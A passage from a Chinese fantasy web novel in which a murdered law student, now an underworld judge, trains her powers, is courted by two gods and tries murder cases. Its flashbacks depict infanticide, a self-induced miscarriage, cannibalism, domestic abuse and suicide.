顾云霁瞬间便知晓了她的意图,也帮着她,一寸一寸经脉的,用他温暖而又至阳的法力包裹住,将她的法力压回丹田。
许久,楼月才睁开双眼,吐出一口浊气。
她有些脱力,身子一晃。
顾云霁接住了她,她软倒在他紧实修长的臂弯中,与他双眼相交。
摇光:“我是不是要死了,顾云霁。”
顾云霁眼帘半垂,睫毛纤长如羽扇,他的手掌可以感受到她冰凉毫无温度的指尖。
“你只是走火入魔了。”
莫名的,她看着顾云霁那对几乎透明的琉璃色双眼,就十分安心。
她力竭晕过去,软倒在顾云霁怀里。
顾云霁叹了口气,给她搭上脉搏。
刚才情急之下,他担心楼月爆体而亡,给她喂了自己的血。
顾云霁的血,乃是至阳至纯之血,可解百毒,这个秘密,除了他师父知晓外,从未对任何人言说。
他感受着楼月体内逐渐平稳下来的法力,检查着每一条经脉。
很好,的确是修行的好苗子。
只是,他的法力在检查时,忍不住有一种,宾至如归之感。
不为别的,只因她……体内,有他的血。
顾云霁眼神幽微,是他冒犯了。
楼月看着实在是太过于稚嫩,以至于向他求助时,他没有任何立场拒绝。
况且,也没有师父会讨厌一个刻苦修行的学生。
他便是这么想楼月的。
是他疏忽了。
楼月毫无知觉的脸上,有几根发丝乱了,愈发显得她面容娇艳如同花瓣。
顾云霁替她整理好,别在耳边。
都是他的错。
不过,倒也不全算坏事。
以后,她若是碰到什么危险,体内他的血也可以给他一些预警。
毕竟是个小姑娘,他作为日游神,多看照着些,也是职责之内的事。
4. 怀抱
楼月醒过来时,便看见顾云霁正候在床边。
“咳咳……顾云霁。”
她咳嗽不止,顾云霁为她倒上茶水,水尚温,她接过一把饮下,原本灼热的喉咙被温柔抚过。
那水顺着喉咙进入了身体,一直到丹田里。
她这才猛然发现,自己的法力,从原本的初神一重,一下子飙升到了初神五重!
她不可思议地催运法力,发现自己的经脉不仅远比先前畅通,甚至于现在,还有一股暖融融的金光附着在自己浑身上下。
楼月惊喜:“我的法力突破了!顾云霁,在那里修炼果然好用!”
顾云霁温温一笑,点点头:“有用就好。”
楼月面上又带了些疑惑:“只是,这修为攀升,难道经脉强度也会提升吗?我发现我的经脉里,好像现在有一层金光。”
血水交融,是极为暧昧之事。
不合适。
顾云霁眼帘垂下,眼中晦暗不明:“嗯,修行便是如此。”
楼月满面喜色:“太好了,顾云霁,那你要继续教我,我发现我好像要爱上修炼了——”
她笑眯眯看着顾云霁,满面俱是春风,眼中闪着亮晶晶的光。
顾云霁如玉般的指尖微微动了:“话别说得太早,修炼之苦还在后头。”
“是!”
简单聊了几句后,楼月忽然握着手中的茶盏,有些迟疑地开口:“顾云霁……你,可知道有什么法术是可以到过去,或是未来的?”
顾云霁眼中略过一丝错愕:“有是有,据说达到大罗金神层级,便可以接近天地本源,介入时空。”
介入时空。
楼月死死攥住手心,如果真的可以介入时空,她必然要去手刃那个杀了她的凶手。
楼月化为判官后,相当于熬过了人间的炼气、筑基等,一步跨越过化神,来到初神阶段。
化神后,则有初神、真神、玄神、金神、大罗金神。
她现在只是初神五重,简直遥遥无期。
“大罗金神……”,楼月喃喃重复着。
顾云霁点头:“不错,现如今,唯有天庭天帝,与鬼界酆都大帝,达到了这个层级。”
楼月愈发惶恐,难道她的目标是酆都大帝那样的修为?
她的神情,全数落在了顾云霁眼中。
顾云霁眼中略过一丝不易察觉的探究。
楼月送走顾云霁后,继续探索自己的修为。
她发现,自己不但法力提升,大脑似乎也愈发清晰。
原本她看周围的景象,只是单纯的看到物像,但现如今,她的观察力愈发细致入微,竟然能够察觉到物体的气息。
楼月想起了生前看的各种玄幻小说,脑中蹦出了精神力这个词。
莫非……随着她的修炼,她的精神力也提高了?
她先前看的小说,精神力往往与一些更高阶的法术相关联,那么她的精神力,是否有什么用处?
楼月愈发兴奋,变强,便是她一直想要追求的。
因为,在极端情况下,与穷凶极恶之徒,光是讲理是不够的,只有拳头够硬,说话才能挺直腰板。
法的后盾,是绝无姑息可能、强大到恐怖的执行力。
更为让她高兴的是,她发现自己可以在判官殿外召唤出小月了。
这也意味着,她在判官殿外的安全,也得到了保障。
一直以来,强烈的焦虑与不安一直萦绕着楼月。
因为一次恐怖事件,她从此坐立难安,左顾右盼,再难安心。
无数次的噩梦,她满头大汗,浑身僵硬地醒来,都反复确认着自己的双眼是否存在。
那杀人魔阴暗潮湿的目光与触碰到她脖颈的温度,她都记得清清楚楚。
如果说,前些日子她在鬼界一直像个无头苍蝇四处乱撞,如今她便是找到了方向。
她要修炼至大罗金神,然后手刃凶手报仇。
楼月深吸一口气,等着吧。
她迟早,会手刃这些满身罪孽之徒。
*
判官府的日子,总是千篇一律中夹杂着一些惊吓。
今日的判官殿,十分热闹,来了三口鬼魂。
一个面容沉静的女鬼,怀里抱着浑身肿胀、发红的婴鬼,后头畏畏缩缩跟着一个形容猥琐的男子。
女鬼哄着怀里的婴鬼,一下一下拍着。
楼月饶是见多识广,也少见三个一起提上来审的。
她事先翻阅过卷宗,这男子乃是被女子所杀,之后女主自杀,婴儿则是死在二人先前一年。
楼月有些不忍。
但是判官,不能有太多的情感。
她道:“你们三人,究竟所犯何事?”
那女鬼平静道:“我杀夫,应当是下冰山地狱罢?不必审了,让人带我下去吧。”
那男子哆哆嗦嗦:“我没犯错!没有!我不该下地狱的……”
那女鬼听闻,怒不可遏,但是怀里还抱着婴鬼,只能狠狠一脚踹上去。
“女儿有你这等爹,当真是三生之耻!”
她满目通红:“到了这一步!你还是想抵赖吗!!!”
楼月仔细回忆着,先前读取回忆的所有细节,随后道:“男鬼似乎并无罪责。”
女鬼猛地回头,双目充血,死死盯着楼月,她嘶吼出声——
的瞬间,时间凝滞。
楼月面上带了几分歉意,从判官座位上走下来。
她发现了,契机是【愤怒】。
她只要说出一句话,激怒被审问者,她便可以凝滞时间。
这个时候,她只要触碰到被审问人——
这一次,楼月的脑子并没有作痛,或许确实是精神力提高的原因,她反而觉得思路愈发清晰。
她闭着眼,忍受着心中的愠怒,反复梳理着一句句话,一件件事。
“窈娘,你且再生一个,咱们家里只一个女儿,终归迟早是别人家的。”
“女儿怎么就是别人家的了!别给我拉拉扯扯的!”
□□。
然而,窈娘的肚子却并没有大。
“儿啊,我看,你那媳妇儿,成心和你对着干呐!根本不是生不了,而是她不想生!”
“什么?那要怎么办?”
“女儿终归是难成气候,不如……”
窈娘再次回家,笑着问:“做汤了?今儿个什么日子?”
四下无人。
她满面欢喜地走入灶房,却见沸水烧得极旺,水汽几乎弥漫到看不清事物。
一大块肉,煮在汤里。
翻翻滚滚,翻了个面儿,露出了脸蛋。
窈娘失声,浑身力气都被抽走。
“啊啊啊啊——”
家里很晚,才来了人。
她,手上满是红肿烫伤,捞起煮得浑身肿胀、通红的女儿,抱在怀里。
窈娘的眼神好似淬了毒,死死缠绕住面上几分心虚的男子与婆母。
婆母假模假样地跪哭在地:“我刚刚烧水要给她洗澡,谁知旁人便叫我出去砍柴了,我竟然忘了……”
窈娘咯咯笑起来,眼睛瞪地极大。
她一个人躲起来,料理完了女儿的后事。
窈娘自此,一言不发,男人一边畏惧,一边又不得不奉母之命,与之行房事。
终于,她怀孕了,吐到不能自已。
大喜临门,婆母放着鞭炮,眼睛笑得眯起,逢人便说必定是个孙子。
窈娘阴冷一笑
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,休想。
她拿着没有刮干净倒刺的木棍,不管不顾地就捣起来,直到血流了半盆,她看着那成型的血块,森然一笑。
晚上,吃包子,她下厨。
婆母心疼她的肚子,连忙说以后别做。
她看着他们一口口吃掉那肉包,笑得开心又得意。
“儿子,好吃吗?”
婆母与男人很快疯了。
她平静地拿着一把剪刀,朝着男人后脑一把捅过去。
随后,她癫狂大笑:“婆母,你家绝后啦!哈哈哈哈哈哈哈哈哈哈哈哈哈哈!”
婆母原本的满眼呆滞,瞬间清醒了片刻,她又哭又喊,扯着窈娘的手,想要抢过剪刀。
窈娘阴冷一笑,高举剪刀,眼前便是太阳。
她笑得开朗:“婆母,活着,才是地狱。”
她毫不犹疑,朝着自己心脏一把捅过去。
*
贫瘠的土壤,生长不出平等与开明。
所以需要一个个尸体堆成山,后人才能踩着尸体,走向文明的高处。
楼月怔怔看着面前的女鬼,她心口的穿刺伤深得可以看见巨大的血窟窿,但怀里的女儿,却可以挡住那个窟窿。
她闭眼,解除了时空凝滞。
女鬼凄厉:“你凭什么说他无辜!!!”
楼月上前,抱住女鬼:“对不起,是我失言了。”
刚才,她是为了激怒女鬼,所以才故意这么说。
她后悔了。
激发情绪的方式那么多,她却选了最伤害她的那一种。
楼月想抱住女鬼,和她说,以后不会这样了,以后会更好。
但是这与女鬼有什么关系?
一句空洞的未来会更好,能安抚千疮百孔的灵魂吗?
摇光深深看了她一眼:
“着,男鬼王季,懦弱愚孝,纵母行凶,入石压地狱,永世铭记尔等罪孽。”
“女鬼傅窈,丧女之痛,锥心刺骨,其情可悯。然,你屠戮性命,自戕身躯。法理昭昭,不因悲情而废,当入磔刑地狱;虑及你自绝性命,先入枉死地狱。”
“无辜弱女,本官将令善司妥为安置,涤净怨屈,早入轮回,得享来世平安喜乐。”
女鬼听到怀中幼女去向后,终于是松了一口气。
她眼噙泪水:“下辈子,莫要再碰上娘了。”
牛头马面带了人下去。
楼月想哭,但是她不能哭。
她不想判决女鬼,因为她完全可以站在道德的角度,与女鬼共情。
但是,情有苦衷的杀人便不是杀人了吗?
天网恢恢,疏而不漏。
她必须做出这个判决,因为这是法。
她一直以来,都以学法为荣,但是此刻作出判决,才顿觉无力。
她浑身无力,趴在桌案上。
连身旁站了人也不知。
她不想去看是谁,无论是谁,她都不想让自己这等狼狈的样子暴露给外人看。
她不能退缩,她是楼月,她是判官,她要报仇,她绝不能因为一点点阻碍就迷惘不前。
她几乎颤抖起来。
耳边传来一声叹气。
她愈发回避,她觉得自己现在的样子丢脸极了。
下一秒,她的胳膊被人拽住。
她死死用法力压着,与那人较劲。
“嗯,不错,法力见长啊?”熟悉的危险音色,是晏不染。
晏不染嗤笑一声,随后干脆直接上前,伸手搂住楼月的腰,一把将她捞起,抱在怀里。
她眼中一点泪光,带着愠怒,直直对上他恶劣玩味的双眼。
“怎么哭了?”他余出的一只手,轻轻摩挲着她娇艳如同花瓣的面颊。
5. 若是顾云霁该多好
晏不染深沉的黑色双眸一眨不眨看着她。
楼月只觉得愈发难堪。
她本就厌恶晏不染,现如今脆弱被他一览无余,她愈发是无所适从。
她一边使劲挣扎着他如铁箍一般的手臂,一边抗议:“你干什么!放开我!!”
晏不染只静静看着她,良久,吐出两个字:
“笨蛋。”
楼月微微睁开了双眼,她生前一路都被人称作是学霸,现如今竟然被一个纨绔子弟,这么满脸蔑视地称为笨蛋。
她恼怒更甚,脑中下意识地凝出一把匕首,在空中悬着,直对晏不染咽喉。
他低头,却一下笑出来:
“噗,哈哈哈哈哈……”
他黑色双眼中幽蓝显现,一股蓝火便裹挟住那匕首。
“楼月,你想用这把刀捅我?”
楼月用尽浑身的法力去驱动那匕首,却纹丝不动。
晏不染笑着抱紧了她,大步流星向殿外而去。
那匕首,在他幽蓝火焰之下即刻灰飞烟灭。
楼月死死咬牙:“晏不染,你是不是觉得欺负我很有意思?”
晏不染:“我怎么舍得欺负你?”
他唇角扬起肆意笑容,黑色锦靴一踩,便抱着楼月飞于百米空中,他的剑眉星目在一轮高悬的巨大明月下,愈发深邃。
鬼界的夜空,风猎猎,楼月觉得自己仿佛应该觉得害怕,但是晏不染实在是抱得太紧、太紧,以至于她的腰都有些痛,微微扭动着身体才好一些。
晏不染垂眸,有些玩味地看了看她不堪一握的楚腰。
楼月愈发难堪:“放我下来!”
她眼中满是不快与羞愤。
“嘘,低头。”他轻声道。
他的言语里好像具有蛊惑性,话尾好似有钩子一般,让她近乎不自觉的,看向了他目光所及。
下方竟然是一座城市,到处开满了巨大的花朵。城市中水网密布,很多地方甚至于都完全建于水上。
尽管鬼界总是黑夜笼罩,但是这里还是灯火通明。建筑好似人间古代的亭台楼阁,却远较人间更为精巧错落。
“这是……哪儿?”
“水榭城,算是鬼界排得上号的地方。”
楼月一边惊叹于这样的景色,一边又是不解。
她实在是弄不懂,自己的仇人,为什么会带自己来到这种地方。
晏不染若是提着她去地狱,看看行刑的现场,她反倒还觉得合理些。
可为什么,偏偏是这么美的地方。
晏不染,绝对有阴招在后头。
很快,她们便落了地,惊得周围一众鬼物啧啧称奇。
“竟然有如此俊俏的郎君……”
“没看到人家旁边那位女鬼,可真是貌若天仙呢……”
“你们都想掉脑袋?!那可是天上的夜游神!”
那话一出,惊得诸位鬼怪俱是后退几步。
晏不染并不理会,只是小心将楼月放下。
楼月几乎是在瞬间就扭头想走,手腕又生生被晏不染给拽住。
他偏头微微一笑:“陪我逛。”
楼月几乎咬碎一口银牙,周围那么多双眼睛几乎盯她盯出了窟窿。
但是晏不染的力气又实在是大得可怕,她就一路被拽着前行。
“晏不染!你别欺人太甚!我是判官,马上万一来了案子,我人不在,这个罪责你可担得起?!”
晏不染看着她一张一合的嫣红嘴唇,嗤笑一声:
“说你笨果真不错,你就是让鬼在你殿上等你个十天半个月,又能怎样?”
楼月气结:“晏不染!我既然做了这判官,就要有判官的样子,你在工作时间把我带来这里,又算什么?!”
晏不染摇摇头,他实在是不知道这么一副美艳明丽的躯壳里,竟然能装这如此一个死板固执的灵魂。
白瞎了一张好皮。
晏不染干脆狠狠一拉手臂,将楼月拉得更近,几乎与他贴着相行:“闭嘴,你想让所有人都知道罚恶司判官跑出来与夜游神厮混吗?”
楼月怒目看他:“你无耻!”
晏不染不再理会,只是兀自拉她跳下一只小船。
在他的法力驱动下,小船行驶起来。
小木船的空间并不算大,所以晏不染拉着楼月,只能和她同向而坐。
他们的腿,几乎都碰在一起。
楼月见状,几乎不察地,将膝盖渐渐地、一点点的远离了他的。
晏不染将她的小动作尽收眼底。
他的声音有些慵懒、富有磁性:“抬头。”
楼月没出息地抬头了。
却几乎忘了呼吸。
他们此刻已然驶到了城郊的位置,远处有一座高高的牌楼,牌楼上缀满了繁星一般的灯。
远近处,高高低低错落的幽莲几乎填满了她们的视野。
幽莲与人间的荷花长得极像,但是更为硕大,最高的足足能有三四十米。它们随着风而微微摆动,幽美之余更显轻盈灵动。
他们的小船四周是高高低低的幽莲,有时拂过她的肩侧,有的又拂过她的面颊,有些痒。
靛蓝的水中,成群结队的红色锦鲤游过。
这样的景致,她是第一次见。
她眼中满是惊艳,唇角翘起笑容。
“不哭了?”
楼月的笑容顿时拉了下来。
太倒霉了,这样好的景致,竟然是和这么一个讨厌之人一起看。
若是顾云霁的话,她想必定是满心欢喜。
顾云霁也不会那么欺负她。
楼月冷哼一声,别过头去,只顾自己看景色。
晏不染撑着头,看着她
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那置气地模样,兀自一笑,摇摇头。
*
好在他们出去一趟,并没有案子送来。
已经到了下班时间,楼月收拾完殿里的文件,便打算回府了。
却在门口,看到一个宛若天上月的男子。
顾云霁,带着浅笑:“楼大人想回府了?”
楼月顿时嘴角一抽。
她怎么忘了,自己前几日,信誓旦旦的说自己喜欢修炼。
好了,这下子就搬起石头砸自己的脚了。
顾云霁淡笑:“怎么,忘了?”
不知为什么,楼月心虚看向他浅色琉璃色双眼的时候,心中蔓延出一阵战栗。
她莫名觉得,顾云霁温良外表下,藏着一头巨兽。
就如,他分明看起来温柔良善至极,问出来的话、以及语气,却是不容置疑。
楼月顿时哈哈笑道:“没忘没忘,师父的教诲,我是一日都不敢忘啊。”
顾云霁垂眸,眼神落在她的鲜艳饱满、宛如花瓣的唇上:“好啊,今日,我们继续去那里如何?”
楼月点点头。
一日之内,她共日夜游神在空中飞。
她有些心虚,但也有些快乐。
顾云霁今日并未扎起头发,满头如霜如雪的白发尽数如瀑布般垂下,翩然超尘。
楼月莫名觉得有些耀眼,努力不去看。
到了雪洞,她仍然拉着顾云霁的锦袍,一步步踏入其中。
一回生,二回熟,如果说上次她还带了几分打量,这一次一踏进这里,她便欣喜地开始吸收起这里的法力。
却,听到里面有一个男声:“谁!”
楼月一顿,看向顾云霁。
顾云霁面色无波,只安抚地看她一眼,便上前而去。
那雪洞里,竟然已然有两个人。
一个女子,刚结束打坐的模样。一旁还有个男子。
这女子生得极为清秀,一张巴掌大的脸蛋上,五官楚楚动人。
她笑意盈盈:“二位也是来此修行的吗?”
楼月笑着点头。
“二位怎么称呼?在下乃是新任的孟婆司引魂使,苏清瑶。”
“我是楼月,他是顾云霁。”
顾云霁浅笑看向楼月:“还想在这里修炼吗?还有其他的地方,我也能带你去。”
附近固然有修炼之地,但是都没有这里近。
虽然这里有两人修炼,但是雪洞实在是一个旁人鲜知的修炼宝地。
楼月摇摇头笑,好似晴光映雪:“不必,就在此地吧。”
顾云霁点点头,与她一共走上前。
苏清瑶眼中划过一丝惊艳。
莫不说楼月红颜如雪,那顾云霁也是清风朗月。
鬼界竟有此等惊艳绝伦的人物,她暗酌。
她眼波流转,不如……
6. 下司的质疑
楼月修行完毕,吐出一口浊气。
顾云霁坐在一旁,感受到楼月的气息,也睁开了眼。
楼月修炼了好些个时辰,一时想起来,竟然有些站不稳。
顾云霁上前扶住她,楼月有些不好意思,这一番场景却惹了旁人不快。
苏清瑶笑意吟吟:“你们也修练完了吗?”
楼月点点头,与顾云霁要一同出去,却见苏清瑶也一共出去。
“对了,你们在哪里高就?说不定,以后我们可以一起继续约出来修行呢?”
楼月乃是四大判官之一,与孟婆,大司命平级。
而,苏清瑶瑶,刚刚升为孟婆司里的引魂使,连孟婆副手都算不上。
苏清瑶眼睛亮亮的,一边是自谦,一边又是真诚:“其实,我建议你们能去的话,也去司里殿里,因为真的会比外面轻松不少。我在里面,虽然也忙,但是终归比外面好不少。”
楼月心善,点头而笑:“好,我们记住了,以后去孟婆司办事儿找你,你可别推辞啊?”
顾云霁瞥她一眼,只觉好笑。
她狡黠的样子,就像一只小狐狸。
苏清瑶瑶面上微红:“嗯,自然是可以的。”
苏清瑶身旁的男子看不下去了:“嗤,瑶瑶,你和他们说有什么用,要知道殿司,也不是人人能进的。”
“宋岚,怎能如此无理,既然遇见了,就都是朋友。”
宋岚悻悻然,眼中愈发带了几分不屑。
雪洞周围,风雪愈大。
顾云霁像往常那般,浅笑着伸出衣袖。
楼月故作不察,将自己的手,搭在了他如玉般修长的指尖。
顾云霁微微睁大了眼睛,有些诧异。
楼月道:“雪好大啊,我怕抓不牢。”
楼月的桃花眼半垂,身影也显得有些单薄,尤其是那腰,简直盈盈不堪一握。
顾云霁低声:“为什么不多穿些?”
顾云霁看着二人相握的手,眼中掠过一丝晦暗。
他另一只手比起飞行诀,动作间宛若行云流水,飘逸不尘,带起凛冽空气中的雪花。
楼月面色一红,纵使已经看过多次了,但是每次顾云霁带她飞,她总是会被惊艳。
苏清瑶怔怔看着宛若天上仙人般的二人。
下一秒,宋岚突然为之一振:“瑶瑶!你快看!那顾云霁脚下踩着的……是彩云啊!!!”
彩云,是神官才有的。
顾云霁……竟然是神官?!
*
顾云霁翩翩君子,先落了地,双手去接楼月。
他的双臂双手有力,牢牢地承接住她。
顾云霁失笑:“刚才不是不在意这些吗?怎么现在又不好意思了?”
楼月几乎不敢去看他清朗的双眼,明明是她主动提出来的,但是她直到冷静下来,落了地的这一刻才发现这有多暧昧。
暧昧到,周围小鬼看见,都满目惊奇。
楼月连忙后退一步,却是引得顾云霁轻笑一声。
楼月满心慌张:“我先回去了……谢谢师父。”
顾云霁轻轻点头,目送她回府。
*
判官府的日子,楼月是越来越喜欢了。
不仅是觉得,自己多少是把学到的一身知识,应用出来了。而且,她日益增长的法力,也给了她一种稳定的满足感。
毕竟,有很多事情,不是努力就有效果。但是修炼,确是修炼出一分,就会有一分。
楼月正高兴着,却忽然听到,判官殿外,一个女声传来。
“请问……这里是罚恶司吗?”
楼月几乎是瞬间就回忆起了声音来源。
苏清瑶。
“是,请进吧。”
一个身影走进来,正是苏清瑶。
苏清瑶抬头。
楼月面上尽是淡然,鲜研的唇不点而红,一对桃花眼宛若含情一般,看过来。
苏清瑶眼中掠过惊讶。
“楼……大人。”
楼月笑笑:“何必如此客气?怎么突然来判官殿了?”
苏清瑶笑:“没想到大人竟然是罚恶司判官,是瑶瑶有眼无珠了。”
楼月笑着摇头:“是我上次未提。”
苏清瑶抿唇:“我今日来确实是有些事。”
她垂下眼睫,递出一份卷宗。
楼月看了,这份卷宗是前些日子自己审核的,按照流程会请阎王,孟婆审核一遍后,再去地狱执行。
苏清瑶将这份卷宗递上来是……?
苏清瑶鼓起勇气,看向楼月平静无波的双眸:“我觉得楼大人这个判决,做得有失公允。”
苏清瑶补充道:“您判决的这一家三口,我认为您对于女鬼的判决有些重了。”
楼月简单一扫那卷宗,便知道是哪个案子了。
是那个杀女婴的一家三口。
苏清瑶道:“女鬼是有苦衷的,您又何必这么判决?您不
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妨代入女鬼视角去想一想,还会觉得她应该受那么重的刑罚吗?”
楼月听到这句话,头脑嗡得一声。
代入?共情?
谁没有共情能力?但是法就是法,谁想犯法,不都是有苦衷的?那难道要个个饶恕?那法的尊严何在??
楼月眉头皱起,无意间鬼气森森散发出来,一股巨大的威压瞬间萦绕了苏清瑶。
苏清瑶哆嗦了一下。
楼月的实力,竟然恐怖如斯。
这便是判官在判官殿的实力吗?
但是,她必须要为这女鬼申冤,如果她不为女鬼发声,那么或许楼月永远都会误判!
“那女鬼又何错之有!你这么判就是错!毫无人性!”
楼月气极反笑,站起来,一步一步走到苏清瑶面前。
楼月猩红的瞳仁,瞬间变成了猫一般的竖线。
楼月垂眸看着满脸不甘却又无比恐惧的苏清瑶:“如果我猜得不错,这卷宗阎王与孟婆都看过,皆是通过了吧?”
苏清瑶冷哼一声:“你们都是同流合污!”
不知为何,刚才楼月被气笑后,便没那么生气了。
因为,她觉得苏清瑶实在是理想主义得很。
那是一种天真,一种未经世事的天真。
楼月上下打量着苏清瑶。
如果说作为朋友,她会很高兴与苏清瑶相处;那么作为同事,作为上下级,她必须优先保证工作的顺利开展。
楼月看着她在地上的模样,叹了一口气。
平心而论,她不是什么圣母,做不到完全温和地对待无理的质疑。
但是她也不是什么铁石心肠之人。
楼月将她扶起。
苏清瑶甩开楼月的手:“别碰我!”
楼月耐心地看着她:“我理解你心有不快。但是你要知道,法律的执行是绝对的,如果事事都看人情,那么社会会大乱,因为没有一个杀人犯是无故杀人的。”
苏清瑶双眼怔怔看着面前低下身子,与她平视的楼月。
她实在是不知道,楼月有什么必要这么低声下气地与她说话。
楼月明明是一殿判官,同她上级的上级平级,自己今日来分明是带了些挑衅的意思的,可为什么楼月非但没有反击,反倒如此好声好气安慰自己?
苏清瑶看着楼月的眼睛,觉得自己从小到大接收到的,和楼月身上的完全不同。
楼月浅笑,替她别了别耳边微微凌乱的碎发。
7. 她是一把利剑
一日,楼月正审着卷宗,忽闻耳边一句敕令:“楼月,来我这里一趟。”
酆都大帝。
她满心忐忑入了殿,只见台上的酆都大帝仍旧是那副喜怒难辨的模样。
“楼月,在鬼界任职也有一月有余了。感觉如何?”
楼月笑答:“很习惯。”
“楼月,我便知道,你很不错。”
楼月听闻这话,却是猛地抬头,看到酆都大帝冠冕后的面庞,唇角扬起了一丝笑容。
酆都大帝走下来,走到楼月前方,正视着楼月,眼中满是认真:“楼月,你应当知道我为什么要点你到这个位置。判官对于你一个刚下鬼界的鬼来说,无疑是一个很高的职位了。”
楼月心头一凛,这一刻还是来了。
她濒死时,听到的声音,或许就是酆都大帝的?
“如你所想,鬼界急需激浊扬清。所以,我才点了你上来,你可明白?”
如你所想?楼月背后沁出一阵冷汗。莫非,酆都大帝有读心的能力?
原来这便是酆都大帝的能力,当真是恐怖如斯。
楼月美眸中尽是了然:“我知道。”
酆都大帝点头:“我希望,你将鬼界治理一新,不要怕得罪人。至于你所期望的——”
“待你有所作为,我替你实现,可好?”
楼月睁大了双眼。
“好。”
楼月垂下眼帘,勾起唇角。
楼月出了幽冥殿。
她步履有力,面上尽是欢欣,只是唇角那一丝笑容,逐渐化为冷笑。
酆都大帝的意思,就是让她做一把刀。
一把整顿鬼界,锋芒毕露的快刀。
这是酆都大帝的野心,也是他之所以点楼月上来的原因。
甚至于许了她出了判官殿也可使用血邢域的权力,还给了她一个酆都大帝的玉牌,见牌如见酆都大帝。
楼月摩挲着那块玉牌,恐怕这玉牌,还有监听监视她之用。
但她无所谓,她想要权力、实力,这些才能给她安全感。
至于他说的,替楼月报仇。
楼月眼中晦暗,她只能半信半疑。
谁知道是不是画饼。
红色宝蓝相间的判官袍下,楼月的手渐渐握拳。
总有一日,她会让杀了她的凶手,血债血偿。
楼月深吸一口气,平静了情绪,踱步到了判官殿。
她坐于判官主位之上,细细思酌着判官能如何肃清鬼界。
判官,上承黑白无常,下承地狱以及孟婆司,是一个极为关键的位置。
肃清吏治吗?
她面容带着几分深思。
几日后,一只满面横肉的男鬼一步一步走进罚恶司。
楼月只一眼,就觉得那男鬼的双眼很奇怪。
那不是正常的双眼,正常的眼睛中情绪不会过多,但是楼月却莫名觉得,那眼中充满了压抑。
楼月再次看向早已事先阅过的卷宗。
杀妻案。
男鬼做了生意,赚了不少钱。
但是为什么杀妻却尚不明。
楼月要做的,是审讯出他的杀人方法与动机。
“刘二?”
刘二点头。
楼月问:“为什么杀妻?”
刘二木讷答:“我不是故意的,判官大人,您行行好,饶了我。”
楼月一顿。
罚恶司的鬼魂,多少都行恶多端,往往嚣张跋扈,乃至目中无人。
但这男鬼却是态度谦卑得很,甚至于谦卑到木讷。
楼月:“哦?但据我所知,你罪孽深重。恐怕再也不能轮回为人了呢。”
那男鬼顿时面上俱是惊恐,跪地求饶,头磕得砰砰作响:“判官大人,求您手下留情,小人一生都只是做些小本买卖,绝无坏心!”
楼月听了只想笑,绝无坏心。
绝无坏心,杀妻?
楼月试图找出能让男鬼被激怒的点:“绝无坏心?可是本判官可是看出,你本非良善之人。”
男鬼仍是磕头如捣蒜,却并没有异样神色。
楼月微微皱起眉头,继续道:“你的妻子缘何而死?”
“我一次酒后……与她起了些口角,就……”
楼月冷笑:“酒后吐真言,恐怕你本来就看不惯你妻子吧?”
男鬼抬起头来,额头上的肉已经磕烂,看着有几分可怖。
很不错,他抬头了,说明有效。
楼月顺着方向说下去:“你的小本生意,若不是你的妻子,又怎么能做成?你却借着酒后为借口,恐怕……”
楼月眼中一点猩红,森然妖异。
“你只是觉得,你的妻子能任你摆布,所以肆意妄为,是不是?”
这个男鬼,身上诡异的点太多了,他表现得如此顺从,却干出了杀妻之事,必然有妖。
男鬼呆呆看着楼月,有些惶惑地伸出食指指了指自己:“你说我吗?”
男鬼近乎尴尬地一笑:“您搞错了吧?我怎么会肆意妄为呢……”
男鬼猛地站起来,眼中满是凶戾:“她就是个*子!明明是跟在我身后的一条狗!却妄想越过老子!”
瞬间,楼月眼中满是猩红,时空静止。
那男鬼因为过于激动,眼球几乎都要瞪掉下来,口中还喷着飞沫。
楼月满面嫌恶,从侧边走上前去。
“小月。”
森森鬼气凝聚,凝成一个可怖的影子。
“去,踹他一脚。”
很快,男鬼的回忆,如抽丝剥茧般在她的脑中展开。
*
“郎君,钱不是最要紧的,真心才是关键的。”
“碧柳,有你,我刘二真是祖坟冒烟!”
男子傻笑,挠着头,夕阳给他面上镀上了层老实憨厚。
对面的女子,布衣虽不华贵,但是干干净净,荆钗难掩芳容。
—
男子猛得一
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拍桌子,桌上一个破旧陶碗落地,碎成几片:“算算算,连老子的酒钱都要克扣,老子活着还有什么意思?”
女子心疼地看向地上的碎陶碗:“可是你不是说我们要开一家面铺?这些都是要一分一厘省出来的……”
男子看着女子半跪着收拾陶片的模样,眼中冰凉鄙视。
—-
面馆里,女子裹着头巾,揭开面锅盖,水汽蒸腾,她面上带笑:
“郎君,等儿子大些,咱们就送他去念书。咱俩一辈子没什么学问,要好好培养儿子。”
她甚至还在撇去面汤上的浮沫,眼中满是欢欣与光芒。
结果,下一秒,一股巨大的疼痛自腰上传来,面前是男人宛若恶鬼一般的面庞。
那面上,满是狰狞。
自家男人,在外头从来是和善可亲,憨厚老实。
缘何对她非打即骂。
她重重摔倒在地,原本因为孕期少营养而落下的病根让她痛到直不起身。
她眼中盈处泪水,看向眼睛瞪得极大的男子,走路带风上前。
经年累月的家暴,让男子的阈值越来越高。
反正女子也不反抗,反正他再怎么样,也只是在遵从“夫为妻纲”这一圣人之言。
*
楼月眼中血丝密布。
她死死看向空中凝滞住的男鬼。
为什么,对外人万般隐忍退让,对最亲密的枕边人,却是毫不留情,甚至于恶毒至极?!
她愤怒到小月的边缘近乎疯狂地流动起来,贴近那男鬼,直到快要触碰上——
“小月,别。”
楼月深呼吸一口气,她再气,也不能动用私刑。
楼月闭眼,再度睁眼,冷冷看向男鬼。
男鬼面上肌肉狰狞,与记忆中如出一辙,只是他还是在反复指责妻子,面对着楼月,却是一直在退缩。
“牛头马面。”
“恶鬼刘二,着:
首入油锅地狱,再入磔刑地狱,再入石磨地狱,碾身,碎魂。”
罚恶司门口,原本空无一物的空气中,牛头马面拎着锁链,一步一步走上前来。
牛头马面熟练地将锁链套在了恶鬼脖子上。
就当牛头马面即将离开殿外。
“二位大人,请留步。”
楼月眼中带着自信与果断,一步上前:“今日没有多余的案子了,楼月愿与二位一同前去地狱,一观地狱运作。”
牛头马面彼此对视一眼。
楼月作为判官,无疑是有资格提出要去地狱观刑的。
牛头马面点点头。
楼月跟上去,却见那恶鬼眼睛大睁,一眨不眨看着自己。
那眼神颇为诡异,带着几分威慑,更有几缕癫狂,亦像是绝望。
楼月反复回忆着,那卷宗一字一句的描述。
颇有几分积蓄的恶鬼?
楼月唇边掠过一丝讥讽。
她倒要看看,有积蓄又能怎样。
8. 捉奸
楼月跟着牛头马面,一路来到了地狱。
按照刑法,这恶鬼应当先去油锅地狱。
楼月跟着,穿过荆棘遍布的阶梯,来到第九层。
她踏入油锅地狱的瞬间,顿时,沸腾的怨气与滚油腥风扑面而来。
